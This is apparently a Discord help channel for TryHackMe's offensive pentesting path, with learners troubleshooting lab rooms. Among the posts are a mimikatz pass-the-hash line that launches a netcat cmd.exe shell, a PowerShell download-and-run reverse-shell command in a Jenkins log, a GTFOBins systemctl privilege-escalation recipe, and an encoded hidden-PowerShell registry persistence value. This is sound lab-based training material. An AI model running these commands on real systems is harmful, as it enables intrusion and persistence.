offensive-pentesting-path

[regal wigeon]

This file was generated by cloudflare-warp.
nameserver 127.0.2.2
nameserver 127.0.2.3
nameserver fd01:db8:1111::2
nameserver fd01:db8:1111::3
search home
options edns0
options trust-ad

And I modified that

.

This file was generated by cloudflare-warp.
nameserver 10.200.55.101
nameserver 10.200.55.101
nameserver fd01:db8:1111::2
nameserver fd01:db8:1111::3
search home
options edns0
options trust-ad

and nothing

nslookup thmdc.za.tryhackme.com
Server: 127.0.2.2
Address: 127.0.2.2#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

[daring shuttle]

Hello guys and ladies.
I found something strange in 'Buffer Overflow Prep' room. First task which requires to send evil buffer said that I had to find a pattern in logs but I'm not sure if the output given as example is correct.
Is there someone who knows how it should work to complete this task?

[daring shuttle]

I got suspicious that distance is just for example. Thank you @fleet wedge

[desert topaz]

Gave +1 Rep to @glad kindle

[daring shuttle]

Yep @fleet wedge , seems I need your help one more time.
Manual said that I need to run server on Windows machine, run exploit script and then run compare command with argument of ESP register address which I'm not sure how to get and seems it wasn't mention earlier.

[daring shuttle]

Yes, I went by manual

OK, I'll do this room from beginning tomorrow

Thank you

[ebon mesa]

Brainpan1 is not working I’v done 99% of pentesting, trying to finish it up. Any thoughts when they will fix it?

[finite pivot]

Staff are aware.

[obtuse mauve]

Hey guys,
I'm playing with the 'kenobi' box. I'm wondering why I need to change my directory to /tmp in the last step? Could anyone help me figure out? TKS!

[left fiber]

Why do you think you ‘need’ to? You have control of the the things you need to control and you can choose how things happen. Experiment with different ways of making things happen maybe?

[left fiber]

Or maybe think about how you’d change the commands if you wanted to not do ‘cd /tmp’, or if you wanted to use a different directory completely.

The specific commands given in the room are imho really just because they had to specify a particular sequence of commands that work, given that the room is a walkthrough. It doesn’t mean that they’re the only commands that will work.

[daring shuttle]

What I learned from Kenobi room is that you almost always have rights to read and write tmp folder but it can be different in case of other folders.

[willow mauve]

Btw /dev/shm is a good place to put files too, it will only be saved to memory

[vernal mason]

/dev/sharedmemory for those wondering what /dev/shm means

[willow mauve]

Hi guys, I have a problem connecting to Breaching AD network

I had to manually change the interface name from breachad -> tunX at openvpn config file to make it work

I wonder if anyone have the same issue?

[vernal mason]

welp another one

for some people it works without changing the interface name for some reasons

[willow mauve]

I see, damn I hate implicit interface names

[finite pivot]

Try tun and not tun0

Oh it works now.

[willow mauve]

I decided to change to tun-breachad lol

[woeful cove]

trying to do a pth attack on lateral movement network and when i run sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:HASH /run:"c:\tools\nc64.exe -e cmd.exe IP PORT" it doesnt catch on nc

all parameters are correct ive double checked so thats not the problem

[woeful cove]

it was ufw 🤡

forgot to add rules on my new vm

[daring shuttle]

Hi guys and ladies.
Got same question as yesterday. 'Buffer Overflow Prep' room, first task asked to modify exploit script with bad characters and note ESP register address after its run. This is debugger output from script run and I'm not sure where this address should be. @fleet wedge maybe you're here today?

[daring shuttle]

I even tried approach from https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst
where payload of exploit is random payload from previous steps plus bad chars but with the same result.

[daring shuttle]

Sure

[daring shuttle]

Well I did first task of Buffer Overflow. Memory analysis look little bit odd for developer use to leave garbage collection to runtime environment.

[willow mauve]

Hi guys,
in room : Breaching Active Directory
If anyone have problem using burp suite with NTLM authentication, I'll share a solution

1. Setup NTLM auth credentials
2. Enable use of HTTP/1.1

[obtuse rain]

I have the same problem and looking for Ans 😄

Yup... thanks.

[desert topaz]

Gave +1 Rep to @ebon mesa

[left jetty]

Hi Everybody,
in room HackPark of the Offensive Pentesting path I do not understand how to get my meterpreter session to work...
when I launch the script to get the reverse shell I get
[*] Sending stage (175686 bytes) to 10.10.220.146
and then it is stucked there...
so it seems that both the payload and the meterpreter listener are ok... but it only prints that message and it does not go forward... any ideas?

I tried to follow the video, but I am again stucked in the same place

[carmine belfry]

the buffer overflow room is annoying i did everything correct and i still cant catch a shell

[sonic ginkgo]

Looking for help with powershell

https://www.reddit.com/r/tryhackme/comments/12rc3hy/hacking_with_powershell/

I am not sure if its the room or the ans

[carmine belfry]

i found out why it didnt work lol

🤦‍♂️

[unborn ginkgo]

Am I going mad or was the AD-Basics room changed since I last made my notes?
Was looking to take a copy of the Kerberos auth sequence diagram for my lateral movement section and cant seem to find it (despite my notes highlighting the section after Group Policies)

Ah. Right. There's a separate room outside the path (https://tryhackme.com/room/activedirectorybasics) that covers similar material but splits the auth section to another room for more detail (e.g. what silver/gold tickets refer to)

Path still uses this room https://tryhackme.com/room/winadbasics

[paper sable]

Hey , so i have a question for "Hacking with powershell" task 2 where it asks us "What is the command to get a new object?" , the hint is to combine two verbs, ive tried the obvious answers like Get-help , or Get-functions, which seems to be the answers but it doesnt work, so is that bad formatting, or is there some input validation error from the website's end ?

[finite pivot]

The clue is in what you're being asked to do.

[finite pivot]

Use the list given to you in the task.

[paper sable]

well, it tells me to combine two verbs, an example of which is "Get-help join" , still doesnt work

[finite pivot]

But it's asking you for something specific.

Help join isn't even on that list.

[paper sable]

ohh , im sooo stupid, got it man 😅

really appreciate your time to respond bro

[honest cradle]

Hi, does anyone could get a root shell on the Game Zone machine?

In the last task

[honest cradle]

What payload did you use? I couldn't get it

I had to print the root.txt content into another filer to finish the machine, but it would be good to know how to get the root shell

[honest cradle]

Thanks!

[desert topaz]

Gave +1 Rep to @glad kindle

[teal atlas]

For anyone who is in Steel Mountain:

When it comes to using powershell script, make sure you do Import-Module [ps1 script name].ps1 to import the powershell script before trying to execute it after simply uploading it through meterpreter to the target machine.

For example:

Import-Module PowerUp.ps1 
``` to import the module
and 
```ps1
../PowerUp.ps1
``` to use it.

I felt Previlige Esclation i.e Task 3 skipped this part.

or maybe it was part of self research

[left jetty]

In the end I managed 😅 I was making a stupid mistake in generating the payload

[daring shuttle]

Hi guys and ladies.
Seems I found a little inaccuracy in description of Buffer Overflow Prep description. It said that to generate cyclic pattern uses Ruby script from Metasploit located on
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
But I can't find it here instead location that works for me is
/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb
Either it's update of Metasploit on VM or I missed script.
Can anyone from the team check it?

[obtuse pawn]

just use "msf-pattern_create"

[daring shuttle]

Yes, it's possible to do that way. By saying 'check it' I mean description in room task.

[rigid pond]

i'm using bettercap in kali linux to track the traffic in http and https websites

it works perfect in http websites

but when it comes to https it's not even though i;m using hstshijack

my assumption is that the script called hstshijack.cap in hstshijack is at fault

can anyone help go any further

anyone

[random fjord]

Hi, I have an issue with AttackBox, can someone give me an advice? When I open AttackBox it's look like it don't have an internet connection. Because of that I'm unable to continue in excersises and I'm stuck on that for two days. DO anyone have some advice for me<

*?

[finite pivot]

Free users don't have an external connection, are you a free user?

[random fjord]

Yes I was. Meantime I was too disappointed about that situation and I payed a subscription and that was the problem. But thanks, I appreciate your advice 🙏🏻😁

[teal atlas]

Guys can someone tell me what is the maximum possible number of vulnerabilities you can find in Relevant box challenge ?

[mystic laurel]

Hello all, I hope everyone is having a wonderful week so far. I was wondering if this is where I go to ask for help with buffer overflow? I have a few questions about finding bad chars. Thanks in advance for any help.

[celest rose]

Hi Legends, I am thinking of which pathway I should take since I've done my jr pentester, #offensive-pentesting-path or #1129473280949112842-teaming. Can you please share your reason/thoughts. thx heaps legends😻

[daring shuttle]

Hi, I passed Buffer Overflow Prep room recently and got some idea how it should work

[mystic laurel]

Awesome! My question is about finding them. What's the best method? I've watched and read several walk through all using a different version of Python scripts. Kind of overwhelming.
I have a good grasp on the why and theory behind it. I just can't seem to get what exact char is "bad" ill see in the data stream the out-of-place chars but usually they're 2 or three that are odd in the pattern. Do I use just the one that started the bad set? Or all of them?

[daring shuttle]

What I got that you use all of them and don't forget to update byte array by new bad chars

[mystic laurel]

It won't let me upload a screenshot but say the looks like this
04030201
08070605
0C0B0A09
100F0E0D

[daring shuttle]

Are you sure we're talking about same room?

[daring shuttle]

Hi guys and ladies!
I just started to walk Brainstorm room and got quite strange issue here. I tried to scan open machine ports with following different scans:
nmap <IP>
nmap -p- <IP>
nmap -sS -p- <IP>
nmap -sT -p- <IP>
nmap -sU -p- <IP>
nmap -sN -p- <IP>
nmap -sF -p- <IP>
nmap -sX -p- <IP>
and got the most 3 open ports but correct answer for this room is 6 (easy to guess).
Anyone have any idea how to get 6 open ports here?

[spiral pike]

Maybe they are being filtered ?

[daring shuttle]

Some of scans for example nmap -sU -p- <IP> gave me that all ports are open|filtered but other like nmap -sS -p- <IP> gave precise number of ports and it's 3 opened ||(actually it's 21,3389,9999)||

[next cedar]

I have no idea how to start

There's a private ip address

[spiral pike]

Find which ports are missing via a walk through, try scanning 1 see if it returns open

[daring shuttle]

I'm not sure which are missing 'cause I never saw more than 3 opened but it suppose to be 6. Maybe the answer in room is outdated?

[lofty sky]

I had a similar issue with Kenobi but got more ports than the corrrct answer. I got around 11, but the correct answer is || 7 ||.

[flint sparrow]

Would anyone have any good reference material for building a pipboy for security testing? I've seen the prebuilds on amazon and considered just reprogramming and upgrading as necessary, but I feel building my own would teach me more. Thank you for your time.

[arctic hound]

hello

[teal atlas]

hi there

[drowsy zinc]

hi, i have a problem with Active directory basics: to connect with phillip account, i use remmina, and in the windows login page i need to type "THM\phillip" but the \ can't be write with remmina. So i try with xfreerdp, here i can type \ , but the "(" and the ")" in the first powershell command can't be write 😭 (i use an azerty keyboard for information)

i'm blocked

[finite pivot]

Have you tried to change the kb layout in your vm?

Or using a virtual keyboard in the vm?

[inland bronze]

Hi folks, I've been facing issues with the breaching AD room. I'm using my own machine to connect to the breachAD network. The site then asks me to change my DNS settings using the follwoing command systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com , but the kali linux throws an error systemd-resolve: command not found .

I googled about this and someone said that the systemd-resolve has been replaced by resolvectl. Can someone please help me with this!!!

Pls DM if you have an answer or atleast ping me

[candid girder]

How do you choose from the 'Exploit Title' list?

Exploit Title | Path

---

Apport (Ubuntu 14.04/14.10/15.04) - Race Cond | linux/local/37088.c
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privil | linux/local/36782.sh
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - L | linux/local/40937.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14. | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16 | linux_x86/local/42276.c
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_o | linux/local/39771.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.0 | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.0 | linux/local/37293.txt
Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / | linux/local/41999.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'ov | linux/local/39166.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64 | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.0 | windows_x86-64/local/47170.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/1 | linux/local/47169.c
NetKit FTP Client (Ubuntu 14.04) - Crash/Deni | linux/dos/37777.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs | linux/local/41762.txt
Ubuntu < 15.10 - PT Chown Arbitrary PTs Acces | linux/local/41760.txt
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) | linux/local/36820.txt
WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based B | linux/local/44204.md

[lofty sky]

This should be based on your target? Or are you referring to something else perhaps?

[drowsy zinc]

You have to replace the $THMDCIP with the ip adress of the computer in top of the shema (it's not really clear i know)

[dreamy tulip]

did anyone have trouble with overflow prep, i feel like it's pretty hard to understand what actually is happening there

[celest beacon]

Hello, i have a question about the "relevant" room

[dense gate]

Always best to just ask your question right away 🙂

[celest beacon]

ok, i found user credential so i try to connect to the machine but it didn't work ? i was pretty sure that i was on the right path

[celest beacon]

is there anyone i can dm to see if i'm in the right path ?

[dusk shoal]

In buffer overflow prep, why do the tools not exist anymore? Also how come !mona findmsp -distance 600 doesn’t return an EIP value?

I got it working with offset 2100. I guess the instructions in the room are inconsistent with the actual offsets I’m finding.

Yeah never mind I didn’t read the instructions closely enough

[nimble copper]

└─$ python2 windows-exploit-suggester.py --OPTIONS
[] initiating winsploit version 3.3...
[] database file detected as xls or xlsx based on extension
[-] please install and upgrade the python-xlrd library

└─$ pip install python-xlrd
Defaulting to user installation because normal site-packages is not writeable
ERROR: Could not find a version that satisfies the requirement python-xlrd (from versions: none)
ERROR: No matching distribution found for python-xlrd

How can i solve this issue?

[lofty sky]

Have you checked the error message in Google?

[kind panther]

hi, please is there a way one can track a mobile phone with the IMEI or even possible without it

[nimble copper]

Yes. Not much help. The script is for python 2. I ended up using winpeas.

[fleet wedge]

guys I'm having a proplem in retro ctf

[nocturne dust]

hello

[lofty sky]

Hey!

[dusk shoal]

I have a discrepancy on the Buffer Overflow Prep room. According to the walkthrough, I'm supposed to get Corruption after 6 bytes but I get a corruption after 0 bytes. I used the same mona command and same bad bytes.

oh nevermind, you have to keep something in the return address (like "BBBB")

[dusk shoal]

On Brainstorm I see 3 open ports using nmap. Where do the other ports come from?

[steep beacon]

Has someone done the Alfred Room ? I can't get the inital access

[oblique meteor]

hey guys. I'm on the Relevant box. I've seen a couple of writeups, including the mayors that show a few more open ports than what i've gotten last night and tonight scanning the machine.

ok i gues i've forgotten how to upload screenshots

[hallow iris]

Anyone else having issues with the DailyBugle room? It's extremely slow and just hangs indefinitely sometimes

[lofty sky]

You need to verify your account to do so.

!docs verify

[frank trout]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[hallow iris]

Same, i'm only getting 3 ports. I tried UDP also but it didn't find anything. All the walkthroughs show 3 ports as well but don't give any explanation as to why the answer is 6 LOL

[vernal mason]

oh yeah that is a bug

[dusk shoal]

¯_(ツ)_/¯

[oblique meteor]

I got the same thing.

[oblique meteor]

I cannot figure out !verify idk what i'm doing wrong. I don't see what its talking about on the users list on the right hand side of the page.

[vernal mason]

on discord on desktop

hit the button that looks like 2 people

then you will get a list of alll the users on this discord

from there left click the @frank trout bot and there should be a box to enter text into

[oblique meteor]

yeah and then i've entered !verify, ! verify, !docs verify. I get nothing

I'm 41 % through the offensive pentesting path and can't figure out how to verify on discord! 🤦‍♂️

I got it. thanks

[vernal mason]

haha nice you are verified now

just mark the first byte of those series of bytes as a bad byte

then try again

generally a bad byte can corrupt bytes that come after it

[oblique meteor]

I do. on overflows 456. i finished 1-3 without any problem. now 456. on 6 right now. first run i get 3 bad chars, un-sequenced, next run i get a bad char that's 2 higher than the previous, ok add it and run again. get the next number in sequence. I don't add it. run it again, get the next number in sequence. i dont add it. get the next number in sequence, and so on it goes. idk. like I said, I've got the first 3 no prob. idk

following in mem dump, it looks like it says though. like from that null byte on its out of order.

Do I need to update mona in the thm machine?

[stable sleet]

Eelo there , just started enumeration AD room .... connected to ovenpvn through my Kali machine

But when I went to distributed.za..... site to get the credentials....it shows server is down

Anyone can help me with this

[finite pivot]

Did you add to the resolv.conf file?

[stable sleet]

Ummm I didn't ....

Just downloaded the ad-enumeration.conf file and did sudo openvpn Aden.......

[finite pivot]

You need the IP of the THMDC and enter it at the top of the file as

sudo nano /etc/resolv.conf

nameserver 10.200.xxx.101

[stable sleet]

Ahh

Wait you mean that ad-enumeraion.conf file right

[finite pivot]

No.

I mean /etc/resolv.conf

[stable sleet]

On it

[stable sleet]

Thankuuu, its working for mee

[pure juniper]

Hello sorry for bothering you guys, I am just wondering if anyone in here is familiar with the Networkminer? I am just working on my lab of my college... I am kinda stuck and need some helps, I really appreciate with any responses from u guys....

[buoyant belfry]

Hi Guys i am trying to complete this task in Exploiting Active Directory Task 3, but i m getting an error. I already followed every steps 1 by 1 but still get the same error. I want to share the screenshot but cant paste the pic in here

[lofty sky]

You need to verify your account to do so.

!docs verify

[frank trout]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[buoyant belfry]

Thanks!

[desert topaz]

Gave +1 Rep to @lofty sky

[dark perch]

hi guys i am trying the Alfred room, but i got some problem when im trying upgrate the nc revshell to meterpreter. i got everything setup but when i execute the 'powershell start-process "revshell.exe"' there is no respond. the nc powershell revshell didnt show a new prompt, no respond from meterpreter as well. here are some sceenshot

here is the setting command

[tawdry wigeon]

Hi, I'm in AD-enumeration room, using 4.1.0 Bloodhound version, my zip file has been correctly uploaded but I still can't find any attack path from my generated AD user, any fix regarding that situation ?

[tawdry wigeon]

I think I got it, you have to use the task file, or you will not get any result, you don't need exploiting anything in that room

[honest scaffold]

Based on the information you have given, the name of your shell is revshell.exe so you should be calling Start-Process "revshell.exe" (you don't need powershell, you're already in one, also Start-Process is case sensitive)

[compact storm]

Thank you for the solution, had the same problem!

[desert topaz]

Gave +1 Rep to @gloomy escarp

[prime matrix]

Hi

[sly shard]

Hi, i cannot find the squid services running or installed in virtual box. But the question asking for squid proxy version??
Nmap done: 1 IP address (1 host up) scanned in 76.51 seconds
root@ip-10-10-123-212:~# nmap -sV 10.10.123.212 | grep squid
root@ip-10-10-123-212:~# systemctl status squid
Unit squid.service could not be found.
root@ip-10-10-123-212:~# sudo systemctl status squid
Unit squid.service could not be found.
root@ip-10-10-123-212:~# netstat -tuln | grep 3128
root@ip-10-10-123-212:~# sudo systemctl status squid
Unit squid.service could not be found.
root@ip-10-10-123-212:~# systemctl status squid
Unit squid.service could not be found.
root@ip-10-10-123-212:~# Any one please advice

[next wren]

You are scanning your own IP, that doesn't seem right. What room and task is this?

[sly shard]

oh yaa.. i am doing nmap https://tryhackme.com/room/vulnversity# Recon

[next wren]

Did you start the machine with the green "Start Machine" button and allow the VM to boot then use the provided IP in your scan?

[sly shard]

ok

thank you

got it thank you @next wren

[desert topaz]

Gave +1 Rep to @next wren

[next wren]

np

[distant elm]

hi mates i am new in cyberworld does anyone have a videos content fro beginner PENTESTING

[hollow olive]

YouTube has plenty. How are you doing with this learning path?

[robust relic]

I am at breaching AD, where I can ping the DC but not able to do nslookup

[finite pivot]

Can you check the pins in #breaching-ad

[robust relic]

I have seen

[finite pivot]

And did you follow?

Also, nslookup can sometime be bugged.

[robust relic]

if I do this:
nslookup thmdc.za.tryhackme.com
It show to ip but when I do this
nslookup tryhackme.com 10.200.28.101
I receive time outs

and I on printer site it show ldap server unavailable

but the ntlmauth site works fine

[finite pivot]

Did you add the THMDC to /etc/resolv.conf?

[robust relic]

i added this
nameserver <THMDC-IP>

[finite pivot]

To the top?

Can you verify and show screenshots?

!docs verify

[frank trout]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[finite pivot]

And can we move this to #breaching-ad

[robust relic]

yes wait showing ss

[finite pivot]

Can you do ip a for me please.

[robust relic]

yes

I am able to visit sites but at printer one it tells ldap server is down

like unavailable

[finite pivot]

Maybe you need to reset th enetwork

[robust relic]

I had voted 3 people had voted

Ig it will restart on 5 votes

wait it worked

[finite pivot]

You can vote once an hour.

[vernal mason]

you can vote once an hour too

[finite pivot]

LDAP is running now?

[robust relic]

It worked

yes

[finite pivot]

Ah, good.

[robust relic]

I think internet issues

or something like that

[finite pivot]

From your side, possible.

[robust relic]

yea thanks

Site is still showin ldap unavailable but i got the response on netcat

I think it was working from the start just showing unavailable

[wicked juniper]

some one help me with this ""IOI_updater" REG_SZ "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$sGMomKEmx=$((gp HKCU:Software\Microsoft\Windows\CurrentVersion Temp).Temp);powershell -Win Hidden -enc $sGMomKEmx""

[robust relic]

Hello I have the following doubt can someone please clear it:
How can i login to a domain if the user do not have permission to write in shares. I had tried using psexec but it show I do not have perms

I enumerating AD they have show a runas binary in windows but how to do this in linux

[vernal mason]

remmina and using rdp

[robust relic]

Rdp is not available

I think i need to use windows there nothing in linux ig

[robust relic]

What is the error here

[vernal mason]

hmmm dunno

could be that it is not wanting to have the domain specification in the username

[robust relic]

What should I do

remove the domain in username?

First time I logged in performed the taks changed the password of Teir2 admin after that I am not able to login in any account with correct paas😢

[vernal mason]

yeah shadow would try that.... another option would be to try and use remmina for your rdp client as that tends to be easier to use then xfreerdp

[robust relic]

okay Let me try it

Nope didn't worked

I think resetting network is the last option

[robust relic]

Room: Persisting AD

I googled this error but not able to solve it

[fallow walrus]

For vulnversity "compromise the webserver" I couldn't get the php reverse shell to open a connection to my Kali VM which has an internet connection/vpn to THM because I used it for several modules and rooms, and I'm using my THM VPN IP in the reverse-shell script I got by going to 10.10.10.10 on my Kali browser while my VPN is active.

I know I'm doing it right because it worked instantly when I did it from the attack box. Is there something on my network I should look for that's blocking it? Nothing showed up in my router logs. Or could it be a VM issue that even though my VM can connect out it's blocking a connection into it?

Also, what's the best way to use Kali and the VPN to connect to machines? It gets tedious using a VM because I can't copy stuff out of it into the THM browser for flags and such.

[finite pivot]

If you use virtualbox, you need to install guest additions to copy/paste.

[fallow walrus]

I'm using Hyper-V. I created an external switch so it can reach out to the internet, which it can. I have this on my list of things to figure out, but I finished the room so I'll mess with it another time. I'm considering just booting Kali from a USB on an older laptop I have and using that to connect to THM

[fallow walrus]

I'll just update that the problem was user error. It had to have been that I wasn't using the VPN (tun0) IP in either the payload or when listening for the incoming connection, and was using the private IP of my VM instead.

[wild bear]

Hi gys

[sharp flame]

hi, I'm trying to work through Alfred and was planning on using RogueWinRM to do the impersonation. I went to https://github.com/antonioCoco/RogueWinRM to grab RogueWinRM, but I have no idea what to do with these files? How do I turn them into the RogueWinRM.exe?

I tied using GCC but the compiler just throws errors

[next wren]

Go the releases page and download the .zip file, it will have the exe within it https://github.com/antonioCoco/RogueWinRM/releases

[sharp flame]

ty

do you know if there is a way to get an x86 version? Apparently the system does not support the x64 version even though it says it is an x64 system

[rose tendon]

Room: Persisting Active Directory
In task "Persistence through GPOs" I cannot add a new GPO. I get Error "Network acceess denied" when try to do it. I also wait for reseting all the network and try again, but still no success.

(I run mmc with admin prompt after using "runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe")

[white monolith]

I might need a bit of help. In the Advanced Exploitation module, Steel Mountain, Task 2, "Take a look at the other web server. What file server is running?" I tried for an hour, but I cannot seem to get to the correct answer. Anyone available to help out/give a hint?

[finite pivot]

nmap?

Or.. visit?

[white monolith]

Of course I ran nmap 🙂

[finite pivot]

And did you visit the web server?

[white monolith]

Nothing coresponds with the number of letters (***..)

[finite pivot]

It does. 😄

You need to get the name from two places.

[white monolith]

Still dont see it. Also not on the page at port 8080

[white monolith]

I feel stupid and am baning my head against the wall. 😕

[finite pivot]

You got an ip?

[white monolith]

Yeah

[finite pivot]

Can I have it?

[white monolith]

Ill share in a DM ok?

[finite pivot]

No, you can post it in here.

[white monolith]

Ok. Sorry for the DM. 10.10.36.3

I tried "||Windows 2008 NTFS Server||" as last.

[finite pivot]

I'm scanning your ip.

[white monolith]

Mine or the instance?

:p

[finite pivot]

the instance.

I wouldn't risk my Community Mentor status like that.

[white monolith]

I was just kidding.

[finite pivot]

The answer is linked in here 😉

[white monolith]

Of course I looked there and on the rejetto page. But I cannot find a 7-letter word anywhere.

[finite pivot]

You're so close...

||rejetto is PART of the answer.||

It's along the same lines as ||python http file server|| 😉

[white monolith]

Nooooooo. Pffff hahaha. Thx for the hint. I really felt stupid, whilst I am a long member.

[desert topaz]

Gave +1 Rep to @finite pivot

[white monolith]

Thanks @finite pivot . I finally can move on. I could already maybe, but I like to do things chronologically.

[finite pivot]

Yeah, I can understand that.

[jade nexus]

Room: HackPark, I had other ppl follow along with me and their connection came through with clear text mine is only giving gibberish, what am I doing wrong here?

[lofty sky]

What exact payload did you use? And why is it showing that the connection came from your own machine?

I worked on HackPark, but I'm still in the privesc portion. Did not encounter that though. Can you share a screen capture of the file you uploaded in the vulnerable application and what filename did you save it as?

[lofty sky]

Also, did this just happen on HackPark only and not on other boxes?

[jade nexus]

hi it was resolved, the issue was my VM had not had a vpn refresh since the prior night

[jade nexus]

hi I have a new problem I am having trouble with, I am on Vulnversity and on the final section of privesc it refers to GTFObins, I am stuck there, as I believe there is parts of the exploit that I do not need put into the shell I have on the machine, I do not understand what it means by TF, I may just be out of it as it is very late but I still wanted to ask:

[lofty sky]

To my understanding TF is only a variable. Let's wait for others to chime in as to how they understood it.

[trail bluff]

Ill look to see if I am any help, one sec

[trail bluff]

Please link the gtfobins you are using so I can read more

but it looks to just be a var

[jade nexus]

https://gtfobins.github.io/gtfobins/systemctl/?ref=blog.tryhackme.com#suid

[trail bluff]

First Command: sudo install -m =xs $(which systemctl) .

sudo install -m =xs $(which systemctl) .

• -m =xs: This sets the mode (permissions) of the file being installed. =xs is not standard syntax for the chmod or install commands. Normally, x would set the execute bit, and s would set the setuid bit. However, the = operator is used incorrectly. The correct syntax should be something like -m a=xs or -m 4755.

• $(which systemctl): This is a command substitution that runs which systemctl and replaces the $(which systemctl) part of the command with the full path to the systemctl executable.

• .: This is the destination of the install command, referring to the current directory.

Second Command: Creating a Temporary Service File

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF

• TF=$(mktemp).service: This command creates a temporary file with the .service suffix and stores the file path in the variable TF.

• echo ... > $TF: This echoes a new service file configuration into the $TF file. This configuration includes:

  • [Service]: The start of the service section.
  • Type=oneshot: Specifies that the service is run only once and is not persistent.
  • ExecStart=/bin/sh -c "id > /tmp/output": The command that the service will run once started. It will execute id (a command that prints user and group information) and redirect the output to a file named /tmp/output.
  • [Install]: Begins the section that describes how the service should be installed.
  • WantedBy=multi-user.target: This line specifies that the service should be started when the system reaches the multi-user runlevel (a state where multiple users can access the system and network services are up).

Third and Fourth Commands: Linking and Enabling the Service

./systemctl link $TF
./systemctl enable --now $TF

• ./systemctl link $TF: This command is meant to create a symlink for the service file in the system's systemd directory, telling systemd where to find the service file. However, it is normally systemctl without ./, unless the intent is to use a modified or local copy, which could be inferred from the previous misuse of install.

• ./systemctl enable --now $TF: This command tells systemctl to enable the service, which makes it start at boot, and --now tells it to start the service immediately.

I used ChatGPT to break it down, I would add ChatGPT to your tool kit

[jade nexus]

ChatGPT told me something similar but there is still parts I didnt understand, thank you for taking the time to answer this question for me

[trail bluff]

Have to make sure to instruct chat to do exactly what you want.

[slate oak]

Hi, folks
Are any of the boxes in this mod down or is anyone else having issues accessing any of them?
I'm specifically having trouble with SkyNet and GameZone. I also tested HackPark but didn't have an issue with that

seems I can't connect to DailyBugle either. Just HackPark via browser

[graceful tartan]

hi about active directory basics

i am getting error trying to run command to change sophie's pass as phillip, like phillip does not have sufficient privs

am i missing sth?

I am getting error "access is Denied"

[tepid girder]

what command are you running?

[lofty sky]

What have you tried to connect to the target VMs attached to those rooms?

[slate oak]

I use openvpn as I always have, and I've done these rooms before; I've reset the VPN connection, restarted my network manager, restarted my VM. I can ping them, can't access them on the browser though; except HackPark, that's browser accessible out of the 4 I've tested

[lofty sky]

I haven't worked on Daily Bugle and GameZone yet, but I'll try to connect to those when I get a chance.

[slate oak]

Before I put too much more effort into it I wanted to make sure that the boxes were actually up, so I came here. I can ping them so I guess they are. but I can't get them through the browser for anything I do, I've reset everything and tried multiple times

[slate oak]

yea, thanks. Just knowing if anyone else is having the problem or not would be good

[desert topaz]

Gave +1 Rep to @lofty sky

[graceful tartan]

hi! i am trying to run the command as given in the example : Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

[graceful tartan]

nvm i had to delegate control first...

[pine cape]

Thanks a lot!

[desert topaz]

Gave +1 Rep to @keen iris

[half bronze]

is anyone facing this problem with Alfred room where Invoke-PowerShellTcp.ps1 is to be run to gain remote shell.
I am facing this problem

Started by user admin
Running as SYSTEM
Building in workspace C:\Program Files (x86)\Jenkins\workspace\project
[project] $ cmd /c call C:\Users\bruce\AppData\Local\Temp\jenkins1263082392557087775.bat

C:\Program Files (x86)\Jenkins\workspace\project>powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.247.221:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.247.221 -Port 4444 
Invoke-Expression : Unexpected token ':' in expression or statement.
At line:1 char:4
+ iex <<<<  (New-Object Net.WebClient).DownloadString('http://10.10.247.221:800
0/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.247
.221 -Port 4444
    + CategoryInfo          : ParserError: (::String) [Invoke-Expression], Par 
   seException
    + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In 
   vokeExpressionCommand
 
The term 'Invoke-PowerShellTcp' is not recognized as the name of a cmdlet, func
tion, script file, or operable program. Check the spelling of the name, or if a
 path was included, verify that the path is correct and try again.
At line:1 char:121
+ iex (New-Object Net.WebClient).DownloadString('http://10.10.247.221:8000/Invo
ke-PowerShellTcp.ps1');Invoke-PowerShellTcp <<<<  -Reverse -IPAddress 10.10.247
.221 -Port 4444
    + CategoryInfo          : ObjectNotFound: (Invoke-PowerShellTcp:String) [] 
   , CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
 

C:\Program Files (x86)\Jenkins\workspace\project>exit 1 
Build step 'Execute Windows batch command' marked build as failure
Finished: FAILURE

I am using this in window batch command option in configure tab of project. Could someone help me. I've tried restarting the machine but still it doesn't work.

[prisma fiber]

